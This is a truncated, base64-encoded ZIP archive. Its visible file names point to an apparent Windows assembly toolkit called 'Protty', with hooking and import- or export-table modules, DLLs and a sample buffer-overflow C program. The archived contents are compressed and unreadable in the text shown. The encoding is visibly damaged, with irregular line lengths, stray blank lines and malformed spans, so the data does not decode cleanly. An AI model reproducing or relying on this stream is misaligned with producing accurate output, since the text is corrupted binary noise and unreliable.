84e0kAec+owHoOXgrx+nENyqkRRt/oLL9tyrjjuc9AZ9b+R2BqPuYalMhwV0
ul89b3c67njsXfYGZ201gPKuEwoBauItSRJE1JPLUBjTHJ9EEdSGHUmFBErW
+/inF39rXGyWohP8G280OXM742JM0KWnx4sBsqrfZ3ReDGhJaSaWJMCLNePV
znjfO4Fx+8T1zt3zweizdz7ouuB+gpYSpDfmdIEuEEd6tuPof3oLjLvMn8Kx
27l6a65fut2rt+PeX66eaSzFmOGfHrjeNlXLNHIxKo/Eooc44zFRlwiBSmwE
CaIg1yfXlQSB2TtY/1fxiwbxIptZ4t1+t3divA3553grc6EzOB+2R73+B7js
teEy5DIj0ZAzSX258+KBTMcdjiFMhKQkADYvln7KKL+z97wnnj/mOpc4cJz3
AY0keYUmYdakekhlUC0r0j1v9dXL9ZvuHxRiNAC+qr29mMaM36lk41RmPBHQ
gnAOc6QMGlgYKNGuMSDInHoJkx7LuMiFHkPCbg3cIRQQShi2P7hef2DyrQzh
Qxpur1CZWdvNbCTB7GwjOqBINdLDywL1uWaGTIxOQoY4tbYPvHvX7JV/q/KG
xl5a0FY5PGNHJp4szcN5jdu8188VI4ZJRvUSe5GRdVTp2mTu5oKmfRrJykqA
OtA0L5OKAgoaL9JS3wdr4wj3yu1cTFxMzHb3z1Fv4lbaxuSGekplW6N8w7rl
R/cBXMdR8juQDGicRVj6QC6pTiye+bpS7OwuCQ+wWlCxDGVMkt0XjRahxk+u
IO0gQHFiWgqCwviIEu0cjQs5i+wpeboYbIaCiNjDSpyUluCEtyL8RhUfWBYU
YNn2dEmIZK0coUg7ZWEiBZC5pHxLSO4w5XgFfX67FVxLWzu6DdF+/YRY416C
xdqegMQJsJRyzcUCyeVrFnIKu3riLhDfR4c2gMOk6hxuKdyqTFWpvghXKs6Y
wCqkyhT9yCeZoBAxlsIPBaaAirAEsTEfca6kJRTbJMSNIFoYY7hW0BVNsHdC
iquiGYQmmvqhpx9OG1zBaQo4ImZOHc/Fvrr/MbrKJVxncboNGNX2eREq6GGn
RK1dUAc7ABv8c6tme4avqyJX+VFt5jhFsMvUt1KuiHprGwB22tUQbOlA1nte
X3bydJ1WThZLlkUBKJMQjVC3Lyc0/KqPHzmWSvMgjxpuOY/IQugrRXBYO7mA
OMNqNKPIfRQbzhUNnj179lhprIJi4YDTiKlaHAUGANoE5TnIUkUqWt8qHA+F
oAqs+KfYUaYG9ECDJUwWG9BVCQFkgaShaS5iPjHJ3czQj+rYgKUZwSZRMm/J
BBazIuJPzPpGci/qlp1/xpA8kLpSPVTDmtJJizG2aF/QNfUzTfhzzmLQtmrS
UN9KMlWnhXJ1wsrAK9KowAt6IXaNwGarkGWKqojYUsRczYOKnIMZ/PJmiZe2
Bx1kaJVTqGjRFj/QoVs96VFF8BjIN2WprjXxTr1M491mJddiSs0Q295NWOik
pevDlQkr6qhkxITfqGOaMklPtLDrGDtfQ4A5sdPCQmpjqlry6BmQJkFaKG1+
zIFIb4ulwXFar09OuietV60l9t07gtJYqGBhpmNXIOQ73BszXmJZ96ql5dHy
KZ2xcmx5DMtJb7OxG8nIxfMo7/BQhoiiMdXVdFqWF8V90y1o5K5sUrGy3D4I
Vso/gbkalC+GcnUc06Y2cMDDFmGnymVEfeGxmy2jdHreYKHVyFLJbUq2gnex
yOounbonNq2t/LAl8smBrNSq+7nGE7doKNW0niUmMwJYEb7hy003jam8KKZf
tkd10m6YnFmTB2fdar6OiKnJj55MNGnyvNtVdotv8Hx3dxc+9s7O1CFzcuqq
dz36kILjz5ursVJpkMk0k106yxZjybGStKeWP/M637jSXYdyaAIxrZqDTWhj
tFTcnJwRWvcF0k70+gGzMcj5bT3QznajZJ+4tjtsfaOLkypKg/7ZZ6ux/fme
bH/6a4T7fVd/AaBeWlk4EOne8GJ82vbGk9FFZ3Loue2rqsI2narVmU05LW8E
7LMtIcQcRwsyd9TI0f1M1uiw/9EXRaG0bDLvoApolUxhqVqvKJv4qReRvwFQ
SwMEFAAAAAgA51qJMtEsuXwGAgAAJgUAADAAAABQUk9UVC1QQUNLL3Byb3R0
eS1vbGQvc291cmNlL3Byb3R0eTEva2lfaG9vay5pbmOtUm1v2jAQ/hwk/sN9
3CiBjq3SButWINbCuhFkwiiqqsiJ3cYjia3YbOzfz4am0O5FA+0Syfb57nnu
uXPPdV245DPFSrROmNRcFB5XkugkZSX4QXCJsPvI6rWee7CZJEDjEC+64IyD
MbJnjMIZHk+7leMoVAvUaDRg6gc4BA9Nh3g79wG+EEvQKfuLUi3g
lmfa7EiW2RxWBakW9DMlQGlS6pVU8MlDLztHd2GCgzBc2OUjGobgQlIyohmF
+AdMuNAlDEjBCbyN7dKS1nVxlxOetRKRv7MQqday227LuKUkSzjJuGK0xYtb
cWRV9ZqOM9g3Gm/Xzumr10BXEp69f27PPeCFaVJBsm0bgBJNLMCSR6npcqSY
6ZHjOLIUSb3mmF+uVEqojXEuKMs06ZTsDlgsraviyxgBRtbNa+M/McXc3Cda
5y4qMbMByhVRecQLrjegufgGjK6bk/4HFGHU9+Z4FKLqIlk3z6q9waffRUlB
mi5vmKI/PghbwIYuJ0sWGTX7ZPwwnEfiIv8fOb+ucun8qhBdoeEs3Cr9/yK3
hFJIOzGnZPp3s2UF3Qxv+/VQ/+rc3oOdObQBeaPzuY+wmcFOyMOLqJ6D8zn4
Ymc6WIQIJiGGa5N304RT9CaFA8wgTWcDuzN1NC35E8/ZjsubB9h7IIMTeGEI
TdBTyftlW7E/AVBLAwQUAAAACABzWXkyLXkaxDAEAABPEAAAMQAAAFBST1RU
LVBBQ0svcHJvdHR5LW9sZC9zb3VyY2UvcHJvdHR5MS9MREUzMkJJTi5JTkON
V8tu3DAMvBfoP/jWS7e1bPnVnPwEChT9hSJB3NhAswG6e+rX1xyKetjaJEAg
7K6G5HBIUcpd8mMY86z7/vPL9599cjolP+bz03U5Devl/nZnx/+zH+T8fy0
nufk69c8Oz2s148f7pKn+Tz/vb/Oj8nv9c/8JXl8Sc4v12R+5O1Tcl3WS7L9
/UufH9b5O4UDJTO7OiUfPzxSiOdf63m9ftu+PSRpXy+f0zQNlpKWutuWaqDf
6oWxU799G2FQRKzUtvSNwfyZ/a5lM89pkz4V/sLY0nJoW1nYJW2oaVuGVjjQ
t3SSzZaWrtqWqaHFbHjYipaJ+OaltbJhNoiH3W26RRgytg6pFoe0vNzwrQSs
EEf4NA1CTgU6AIuMqiqw0iRmoQ12pN9rLZugryuBae3rUFPi00h8O/kEq4w4
NMi8M9i2DFi2hCjB1+qglORCOrKGOEwqOimWbDRFKIZgpZCFZsD+omIQNG693Tby1egb
boK0RqxGsrS5ja2tG1V2sNXOCFsVfv8WuXVpDVodKJbXzOUvckCkeF3bLgx
Gds1ixzybPGPO070QHxH4avy5TAVkNFIphOF6XODTTsxRx4peh1tR/QLHJjS
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
mU6DtldnDGuQ4mZ59xSvyabBXS5Jo0j+IhNsRdL23iQkcd3WBp2Mog8bza6d
nNt49TdycHhIHJ91B1f+nn94eGAvWtWzc3aGpZGl6UBS3k6M4sVtOFvftLZJ
dceUBni2njyV1MuesoOAJfb3U5a11PwfUEsDBBQAAAAIADlZeTJ9MsH0MQEA
ABsCAAAsAAAAUFJPVFQtUEFDSy9wcm90dHktb2xkL3NvdXJjZS9wcm90dHkx
L3BlYi5pbmN9UF1PwjAUfS4J/+H6ppGN+fUCRh1QQINjYfXBELN0XWGN21q3
IvjvbWeMJpr15Z6ee+/pOR06jgMR8VfkKYwgxCMIV0uCx+R+GYDTerqdYTNM
nm15MDvgAKs41TyF5ANCIXUFI1oKCteJLa6y1N22oCJ3mSxurESmtRr0+ypx
a8WZoLmoeeqKciNNt91Bu7tuJ/AfcRQvcDAjc4T42w8Q8rzzy6vp1Msci86w
72WGHcIxL+Vumx3dnthNxZNYVVJzphEygFkSqV2d0bSBhXwHTg89SPeySkGZ
pJt6sL7wshf0f3tt7qceM33zmvnoeDFZxROf+D967ND7bdnQjOY57CuheVzx
rZAlaptu6PTQC/0ZjoOlPx7jKPpWKegrbzJ9SSipbBRUcf0nMC9T1e18AlBL
AwQUAAAACADWWYkyLQAQhjwAAABJAAAAOAAAAFBST1RULVBBQ0svcHJvdHR5
LW9sZC9zb3VyY2UvcHJvdHR5MS9QUk9UVFlfUkVWSSVNJT04udHh04+Xi5TLR
MzDRMzIwMOXUVUhMSUlNUQh2dHON93X19Q+KjPf1d3Hl5bLEUJOSmlOSqJCR
mJeSk5mXrgAAUEsDBBQAAAAIAOCFwTIwRLwnBAQAAEsLAAAwAAAAUFJPVFQt
UEFDSy9wcm90dHktb2xkL3NvdXJjZS9wcm90dHkxL3VzZWZ1bGwuaW5jpVZt
b+JGEP7sSPkP06gfoBDikCpC0Jwg2A3cAUa2uZCeImTsTdjGb/VLw/Xd8Ze
ggEf10uNlN3szDwz+8x4xp3zH3tOTzrwmUdJarnTKEiYnVSqwNbMTpMg+gml
78BTe/Ob1xWLGFyA2p/fxPyfbKvMb6a6Zr4PlCzNB1o+qn0TzsGOmJUwB5Zf
YcqDJIJby+cW/LakpRHSUffzs7jbsAPvA0GskiRsX1yEy0YcMptbLo+Z0+D+
U/CekE5PPOuFLUJkTZIkXOzTEylM45XKl4KbrMDexmhF7BrYM8cC2XBe63TVu
HQdkUumu27h4wd+osq4zay0AgDnbrb3dZgoZjvMaRA6EeOkviF5b7GbwkcDt
FbNfmiDXz9QoCqL2YZafkBvmnFNpOxPGIRZ7BFL9q/HfCekM/p1vMDhTxyp
jyzfCTzwU2/JInhmPossLBtMTHhDxZ+5bLmUnOW/KskyWuf4iZkkavnGWBY
WsMdS0xuv/SD1E8EMXpuYTDmCIJEcHtQm/gK+niaE/2mjAAFr7D3TGfGgFas
2CNC5Ziwh0L0usyP5d9Xdbi6XEl6Yhr9Mt9j7TMI3/XinQEOdXuKAsJb
nQzKdHRttMW7PAZCCtfX16tvx1RMQU5OpnuMwqtmiUybbbjySaV/vL2550t6I
jYG+vdVlfnYI8nHSz9ZREIQLAXGoNdcKWLKq3LZaV015RW6LhuR7pOVhiaMS
l4W4RVBHHCqUEmVeAqMM3zJcitAf3G0RevN9+aGFcCnKoMziyF1Kq7iYoH2h
rpqTgzcJgF472PSFrDdkfRobtKqgzd1Qmxhg9m5HKtxpqggGj4ScVzMHQaJPq
ZQPUiak/ZP9INago95quVGGsjjX9gWpUVw0DhYcyY/iHSlbN/w9xVYCQKnEA
gd/Ap0qyeQNGPcPMFWA8w+2tCpPZaATtD6CZA1W/HxpqXkY/w/0QBaigaBNV
0DLuzReCCGpTf6Ug0dFYU2Yj1ajhixLmDZk5CxwWPPDjrG9JlYLlL81qrSU5
aQgVuVq04L7D1lmjk+RtCvLrZGN4lwcxj3cIeI14woTrQkv+5iCjEeSF+xNo
L6THejH6Ftr86TLovkaZ/RpHBFaQaOiHk2qSz5PgCd5gIQ8Qv0xs7EOYnrP8
shJitrONyyycm7y+F47glEaihbSSxndCF5OnqOXwx3pe8h0RSKlS7VdUs9db

LaAvH0m4/h5jrbIZvJud7RTuiBxLlGSbBiYSVvHSOIElAy91Ex4i40hhiwoZ
X9+ZPjHaEqVfxIYxRSyOqeol+jQrhEwe8OMo+bGy+O8ZyBK/+fTBQtjjWki+
sDis0UjpLQxTn/XNxgLDfxRlU26LKThirWysy6jeuTAx/S9QSwMEFAAAAAgA
Fz/CMjUSzgzSAQAA4AQAACgAAABQUk9UVC1QQUNLL3Byb3R0eS1vbGQvc291
cmNlL3Byb3R0eTEuYXNtrVNdb5swFH0mUv7DVdWHTQo0Wd/SdcpHqcSUZlHK
S6ZKyNiGuAFsYbOSf18bBy3rYFul2Q8291wfn3uuuXFdFx7mwRo2229huINV
sNjOtzu4D1Y+uO8bw8HNO0/8ja5VpZev/jIEF3BJkaIE4iNsGFclLFDBEHyO
zeIJE5qlOWKZh3n+xVDslRLTqysRe1JQzFDGJCUeKxL+3/XayQqcVYRCfoxI
lumbsI2LKs4YdvR4DOfbMLK1WUTuEbFZGGUZ/JbAhcFz/gMoqkeT4aCkCsbL
vT1znq7pRcmbK52fvM5zLiBCz2ZG+pPEcHHy9gP++I9uXowm16PJ+HS839df
8wIJBX+BjCPCitTzvBM8MgmtpGkjsqldq1cUq0jvbXVOU73TbGc6SnhBdb6j
LWhitGZq6jTFguF0nJkhqsHXwEZ7QaW0TC9IGvu1qnGHbbQgou3heR8Jjas0
MrJsL9u4iajj5AnzIulGtHNFN0JrwUsVHVj7QN4mVJImVR+YVqgkDPVwH1i0
5/zQC/bzChp3Awz9SSutMRU95qRUIcFkN7i6868/LYK1F6yXw8Hdbj1/CJan
hkSPwXf/9tLlSSL1W38LmtbZNum2gf7PjNfn3bPzFVBLAwQKAAAAAABwmHQy
Ys3JchUAAAAVAAAAKAAAAFBST1RULVBBQ0svcHJvdHR5LW9sZC9zb3VyY2Uv
cHJvdHR5MS5kZWZFWFBPUlRTDQpTVEFSVF9QUk9UVFlQSwMECgAAAAAAJ1jB
MgAAAAAAAAAAAAAAABoAAABQUk9UVC1QQUNLL3Byb3R0eV9leGFtcGxlL1BL
AwQUAAAACACVYYwyFa7ZtaICAAAMBQAAJQAAAFBST1RULVBBQ0svcHJvdHR5
X2V4YW1wbGUvc2FtcGxlX2JvLmOlU91v2jAQfwaJ/+FGXwILJaXrw9Z1UtdR
UakqFWUPFUPIJBfiNbEj20noKv73nU34UJ8mzUTGvvP97ut3J1yEaREhfNUm
4vI0+dZqnhzLUr58J6y4iGSl30lDKWrzVrPfBZ1gmoaSND2oFDcIWmZ4JDYJ
M1Bo1JAraTA0GEGGYcIE15nu9lvNQmi+EiQmoYKIGTY7G8zhCt5azUaw/hz4
8L97q7m5tAFvf/1uwyRcA30moVhZlqcIcSFCw6WAKuFhArJE5RLaPloWcSwV
UERCqoyloA0LX9yrOJVVwybSapaSRyAr4blUuloWKsSOS8RJZDkbBHMKpZFh
Fuavniz97SP/4mzQsYpccWFiUtjb5hA0SSFjXHj2wNQq9Lc+6FjO5s7Hzosr
/owA55eNevX7lBaq48ZUPE1hiZCnLMRoZ/s7yxeo8/XsfH715goYrG9vaRt+
2lzuoDhgiYLCIZhXWQCDtpB5j2yBbNvwpUNwh0UWCrfkIEAwEtY3N/bPKHIN
NppTFz19RKlerwc/xvAwnsJ0/PNmBNPR3RNhOoWtc+NesuieLxVTr97wYTqc
LB4n4+n0eXF/93lyPXlePF5Pb0aL0XAydDV9ShFz7ywIAnf9Fx8uHmqSRuO5
mvmuGAMLcUiLsoaY6shWSM8XTGfwdpy2o1nNovautG0omeJsmVqbRooMcLn2
nZODpYxjcg0eiw2qPc06gDy3ViyKnNUgOO5w3VGFEVfbSaMit3dt2Xtja38X
y8GYiQiqmhWpvXAaS+qvjA+csQiZLGFGruc+4ZBgs+1bzWf39OP5hW/H2Nf8
D8rYs+dOZ88ebeQxEeta17xvd7eLyPXCxQqWUmY9u0Gt6P4S7Y4b5oYdNAez
b4nDJ0vcV+xDDa/QFEpAYIfqL1BLAQIUAAoAAAAAAE9YwTIAAAAAAAAAAAAA
AAALAAAAAAAAAAAAEAAAAAAAAABQUk9UVC1QQUNLL1BLAQIUABQAAAAIAHBD
wjKHEuc5KQIAAPcDAAAXAAAAAAAAAAAAEAIAAAACkAAABQUk9UVC1QQUNLL01V
U1RSRUFELnR4dFBLAQIUAAoAAAAAAPdWwTIAAAAAAAAAAAAAAAAAaAAAAAAAAA
AAAAEAAAAIcCAABQUk9UVC1QQUNLL3Byb3R0eS1jdXJyZW50L1BLAQIUAAoA
AAAAABFXwTIAAAAAAAAAAAAAAAAeAAAAAAAAAAAAAEAAAAL8CAABQUk9UVC1Q
QUNLL3Byb3R0eS1jdXJyZW50L2Jpbi9QSwECFAAUAAAACADAisEyoZ/aT+kQ
AAAAMAAAKAAAAAAAAAAAAACAAAAD7AgAAUFJPVFQtUEFDSy9wcm90dHktY3Vy
cmVudC9iaW4vcHJvdHR5LkRMTFBLAQIUABQAAAAIAI+KwTL7ri1qlgAAANQA
AAAoAAAAAAAAAAAAEAIAAAACoUAABQUk9UVC1QQUNLL3Byb3R0eS1jdXJyZW50
L2Jpbi9SRUFETUUudHh0UEsBAhQACgAAAAAAFljBMgAAAAAAAAAAAAAAACEA
AAAAAAAAAAAQAAAABhUAAFBST1RULVBBQ0svcHJvdHR5LWN1cnJlbnQvc291
cmNlL1BLAQIUABQAAAAIAFlheTJDRARvYgAAAI4AAAAsAAAAAAAAAAAAEAIAAA
AEUVAABQUk9UVC1QQUNLL3Byb3R0eS1jdXJyZW50L3NvdXJjZS9jb21waWxl
LmJhdFBLAQIUABQAAAAIAC5aeTIvAUUgoQUAADcUAAAvAAAAAAAAAAAAEAIAAA
APEVAABQUk9UVC1QQUNLL3Byb3R0eS1jdXJyZW50L3NvdXJjZS9kZWJ1Z19w
cm90LmluY1BLAQIUABQAAAAIAL1ziTJ7evqn/AEAAF0EAAArAAAAAAAAAAAEA
IAAAAN8bAABQUk9UVC1QQUNLL3Byb3R0eS1jdXJyZW50L3NvdXJjZS9teV9k
bGwuaW5jUEsBAhQACgAAAAAAnYzBMgAAAAAAAAAAAAAACYAAAAAAAAAAAAAQ
AAAAJB4AAFBST1RULVBBQ0svcHJvdHR5LWN1cnJlbnQvc291cmNlL3Byb3Qv
UEsBAhQAFAAAAAgAMUpPLJnanyiBAgAAbAoAAC8AAAAAAAAAAAAQAgAAAAaB4A
AFBST1RULVBBQ0svcHJvdHR5LWN1cnJlbnQvc291cmNlL3Byb3QvQURFMzIu
QVNIUEsBAhQAFAAAAAgAMU1PLMnuzR6JBgAAsR4AADIAAAAAAAAAAAAQAgAAAA
NiEAAFBST1RULVBBQ0svcHJvdHR5LWN1cnJlbnQvc291cmNlL3Byb3QvQURF
MzJCSU4uQVNJUEsBAhQAFAAAAAgAGVTBMjDHoskfAwAAFgYAAC4AAAAAAAAAA
AQAgAAAADygAAFBST1RULVBBQ0svcHJvdHR5LWN1cnJlbnQvc291cmNlL3By
b3QvY29uZi5pbmNQSwECFAAUAAAACACcicEycKjX0/oCAADrCQAAMAAAAAAA
AAABACAAAAB6KwAAUFJPVFQtUEFDSy9wcm90dHktY3VycmVudC9zb3VyY2Uv
cHJvdC9leGNlcHQuaW5jUEsBAhQAFAAAAAgAaVyTMoBVHcjnAwAAmAoAADUA
AAAAAAAAAQAgAAAAwi4AAFBST1RULVBBQ0svcHJvdHR5LWN1cnJlbnQvc291
cmNlL3Byb3QvZXhwb3J0X2tpbGGwuaW5jUEsBAhQAFAAAAAgAmlKrMn42UcAH
AgAABwgAADEAAAAAAAAAAAAQAgAAAA/DIAAFBST1RULVBBQ0svcHJvdHR5LWN1
cnJlbnQvc291cmNlL3Byb3QvZ2V0YXBpcy5pbmNQSwECFAAUAAAACAB2Uqsy
R4FMWAYEAADFDgAAMgAAAAAAAAABACAAAABSNQAAUFJPVFQtUEFDSy9wcm90
dHktY3VycmVudC9zb3VyY2UvcHJvdC9ndWFyZGlhbi5pbmNQSwECFAAUAAAA
CACVg8EyemWLON8EAABcDQAAMgAAAAAAAAABACAAAACoOQAAUFJPVFQtUEFD

Sy9wcm90dHktY3VycmVudC9zb3VyY2UvcHJvdC9pYXRfa2lsbC5pbmNQSwEC
FAAUAAAACADVQMIy5sRD0vgEAADNDwAAMQAAAAAAAAABACAAAADXPgAAUFJP
VFQtUEFDSy9wcm90dHktY3VycmVudC9zb3VyY2UvcHJvdC9raV9mdWxsLmlu
Y1BLAQIUABQAAAAIAPBjmzLKFwZ6EgIAAEEFAAAxAAAAAAAAAAEAIAAAAB5E
AABQUk9UVC1QQUNLL3Byb3R0eS1jdXJyZW50L3NvdXJjZS9wcm90L2tpX2hv
b2suaW5jUEsBAhQAFAAAAAgAj1DBMqWrsqYkBQAAiw0AAC4AAAAAAAAAAQAg
AAAAf0YAAFBST1RULVBBQ0svcHJvdHR5LWN1cnJlbnQvc291cmNlL3Byb3Qv
bWFpbi5pbmNQSwECFAAUAAAACACZo5AyBfEePjcEAAD+CgAALwAAAAAAAAAB
ACAAAADvSwAAUFJPVFQtUEFDSy9wcm90dHktY3VycmVudC9zb3VyY2UvcHJv
dC9tb2RybS5pbmNQSwECFAAUAAAACAB8U8Ey4TdwG34BAADSAgAALQAAAAAA
AAABACAAAABzUAAAUFJPVFQtUEFDSy9wcm90dHktY3VycmVudC9zb3VyY2Uv
cHJvdC9wZWIuaW5jUEsBAhQAFAAAAAgASIiOMnbeE8k+AgAAXgYAADEAAAAA
AAAAAQAgAAAAPFIAAFBST1RULVBBQ0svcHJvdHR5LWN1cnJlbnQvc291cmNl
L3Byb3QvdXNlZnVsbC5pbmNQSwECFAAUAAAACACOSMEyhufKvNoBAADqBAAA
KwAAAAAAAAABACAAAADJVAAAUFJPVFQtUEFDSy9wcm90dHktY3VycmVudC9z
b3VyY2UvcHJvdHR5LmFzbVBLAQIUABQAAAAIAI2tZCnPM6it3r0AAF89BAAt
AAAAAAAAAEAIAAAAOxWAABQUk9UVC1QQUNLL3Byb3R0eS1jdXJyZW50L3Nv
dXJjZS9XSU4zMkFQSS5JTkNQSwECFAAKAAAAAAC7WMEyAAAAAAAAAAAAAAAA
FgAAAAAAAAAAABAAAAAVFQEAUFJPVFQtUEFDSy9wcm90dHktb2xkL1BLAQIU
AAoAAAAAAEWKwTIAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAEAAAAEkVAQBQUk9U
VC1QQUNLL3Byb3R0eS1vbGQvYmluL1BLAQIUABQAAAAIALmJwTIiFFiuuA0A
AAAwAAAlAAAAAAAAAAAAAIAAAAIEVAQBQUk9UVC1QQUNLL3Byb3R0eS1vbGQv
YmluL3Byb3R0eTIuRExMUEsBAhQAFAAAAAgAe4rBMnNdn9KCAAAAnwAAACQA
AAAAAAAAAQAgAAAAfCMBAFBST1RULVBBQ0svcHJvdHR5LW9sZC9iaW4vUkVB
RE1FLlRYVFBLAQIUAAoAAAAAAAAI/wjIAAAAAAAAAAAAAAAAAdAAAAAAAAAAAAA
EAAAAEAkAQBQUk9UVC1QQUNLL3Byb3R0eS1vbGQvc291cmNlL1BLAQIUABQA
AAAIAAw/wjJwtgJQaAAAAJUAAAAoAAAAAAAAAAAEAIAAAAHskAQBQUk9UVC1Q
QUNLL3Byb3R0eS1vbGQvc291cmNlL2NvbXBpbGUuYmF0UEsBAhQAFAAAAAgA
Llp5Mi8BRSChBQAANxQAACsAAAAAAAAAAQAgAAAAKSUBAFBST1RULVBBQ0sv
cHJvdHR5LW9sZC9zb3VyY2UvZGVidWdfcHJvdC5pbmNQSwECFAAUAAAACAC9
c4kye3r6p/wBAABdBAAAJwAAAAAAAAAABACAAAAATKwEAUFJPVFQtUEFDSy9w
cm90dHktb2xkL3NvdXJjZS9teV9kbGwuaW5jUEsBAhQACgAAAAAAJ4rBMgAA
AAAAAAAAAAAACUAAAAAAAAAAAAQAAAAVC0BAFBST1RULVBBQ0svcHJvdHR5
LW9sZC9zb3VyY2UvcHJvdHR5MS9QSwECFAAUAAAACACyicEyEk1XrwMCAACT
AwAALQAAAAAAAAABACAAAACXLQEAUFJPVFQtUEFDSy9wcm90dHktb2xkL3Nv
dXJjZS9wcm90dHkxL2NvbmYuaW5jUEsBAhQAFAAAAAgAnInBMnCo19P6AgAA
6wkAAC8AAAAAAAAAAQAgAAAA5S8BAFBST1RULVBBQ0svcHJvdHR5LW9sZC9z
b3VyY2UvcHJvdHR5MS9leGNlcHQuaW5jUEsBAhQAFAAAAAgADlyJMkjU6Dey
BAAAKQ0AADQAAAAAAAAAAQAgAAAALDMBAFBST1RULVBBQ0svcHJvdHR5LW9s
ZC9zb3VyY2UvcHJvdHR5MS9leHBvcnRfa2lsbC5pbmNQSwECFAAUAAAACAAu
c4ky81ZtVpEBAADRBQAAMAAAAAAAAAABACAAAAAwOAEAUFJPVFQtUEFDSy9w
cm90dHktb2xkL3NvdXJjZS9wcm90dHkxL2dldGFwaXMuaW5jUEsBAhQAFAAA
AAgA8XOJMrFsZbU3AwAAmwgAADEAAAAAAAAAAQAgAAAADzoBAFBST1RULVBB
Q0svcHJvdHR5LW9sZC9zb3VyY2UvcHJvdHR5MS9ndWFyZGlhbi5pbmNQSwEC
FAAUAAAACAAihcEyCsHJwuwFAADWDwAAMQAAAAAAAAAABACAAAACVPQEAUFJP
VFQtUEFDSy9wcm90dHktb2xkL3NvdXJjZS9wcm90dHkxL2lhdF9raWxsLmlu
Y1BLAQIUABQAAAAIAMyFwTJSoMK5DQcAAGoVAAAwAAAAAAAAAAEAIAAAANBD
AQBQUk9UVC1QQUNLL3Byb3R0eS1vbGQvc291cmNlL3Byb3R0eTEva2lfZnVs
bC5pbmNQSwECFAAUAAAACADnWoky0Sy5fAYCAAAmBQAAMAAAAAAAAAABACAA
AAArSwEAUFJPVFQtUEFDSy9wcm90dHktb2xkL3NvdXJjZS9wcm90dHkxL2tp
X2hvb2suaW5jUEsBAhQAFAAAAAgAc1l5Mi15GsQwBAAATxAAADEAAAAAAAAA
AQAgAAAAf00BAFBST1RULVBBQ0svcHJvdHR5LW9sZC9zb3VyY2UvcHJvdHR5
MS9MREUzMkJJTi5JTkNQSwECFAAUAAAACAAmhsEyrunfzO8EAAARDQAALQAA
